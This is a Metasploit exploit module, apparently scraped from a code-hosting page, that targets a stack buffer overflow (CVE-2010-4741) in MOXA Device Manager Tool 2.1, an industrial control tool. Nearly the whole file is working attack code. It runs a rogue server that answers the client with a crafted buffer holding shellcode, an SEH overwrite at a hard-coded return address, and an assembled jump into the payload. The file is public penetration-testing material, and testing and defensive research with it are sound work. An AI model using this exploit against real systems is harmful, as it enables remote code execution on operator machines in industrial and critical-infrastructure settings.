Path: blob/master/modules/exploits/windows/scada/moxa_mdmtool.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.18When sending a specially crafted MDMGw (MDM2_Gateway) response, an19attacker may be able to execute arbitrary code.20},21'Author' => [ 'Ruben Santamarta', 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2010-4741'],25[ 'OSVDB', '69027'],26[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],27[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-301-01A' ]28],29'DefaultOptions' => {30'EXITFUNC' => 'thread',31'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'32},33'Payload' => {34'Space' => 600,35'BadChars' => "\x00\x0a\x0d\x20",36'StackAdjustment' => -350037},38'Platform' => 'win',39'Targets' => [40[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...41],42'Privileged' => false,43'DisclosureDate' => '2010-10-20',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])56]57)58end5960def on_client_connect(client)61return if ((p = regenerate_payload(client)) == nil)6263client.get_once6465sploit = rand_text_alpha_upper(18024)6667sploit[0, 4] = [0x29001028].pack('V')68sploit[472, payload.encoded.length] = payload.encoded69sploit[1072, 8] = generate_seh_record(target.ret)70sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string7172client.put(sploit)7374handler(client)7576service.close_client(client)77end78end798081